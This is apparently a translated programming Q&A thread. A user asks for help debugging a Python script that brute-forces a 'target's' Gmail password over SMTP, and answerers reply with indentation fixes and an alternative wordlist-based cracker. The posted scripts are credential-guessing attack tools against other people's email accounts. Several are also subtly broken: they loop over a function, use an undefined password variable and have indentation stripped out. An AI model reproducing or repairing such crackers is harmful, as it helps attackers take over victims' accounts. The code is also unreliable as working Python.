我试图找出为什么我的代码不起作用。我试图通过向另一个代码中添加一些代码来提高我的 python 技能,但是当我尝试执行它时,它总是给我一个语法错误。
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
输出是
File "main.py", line 22
except smtplib.SMTPAuthenticationError:
^
SyntaxError: invalid syntax
我只是不明白,可能有人发现并修复问题
缩进!
except
应与 try
处于相同的缩进级别。
尝试这个脚本:
import sys
import smtplib
def main():
host = 'smtp.gmail.com'
port = 587
user = raw_input('[+] Enter The Email To Crack : ')
password = raw_input('[+] Enter The Password List : ')
passs = open(password, 'r').readlines()
for passw in passs:
password = passw.rstrip()
smtp(host, port, user, password)
def smtp(host, port, user, password):
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.starttls()
server.login(user, password)
print "[+] Password Found Succesfully : " + password
sys.exit(1)
except smtplib.SMTPAuthenticationError:
print "[-] Password Incorrect : " + password
pass
根据规则,您并不是有意
except
。这是修好之后的样子有关 try...except
的更多信息,请参阅 此处。
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
这对我有用:
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print ("[+] Password Cracked: %s") % symbols
break;
except smtplib.SMTPAuthenticationError:
print ("[!] Password Inccorect: %s") % symbols
这样做不会让 gmail 屏蔽你的 IP 地址吗?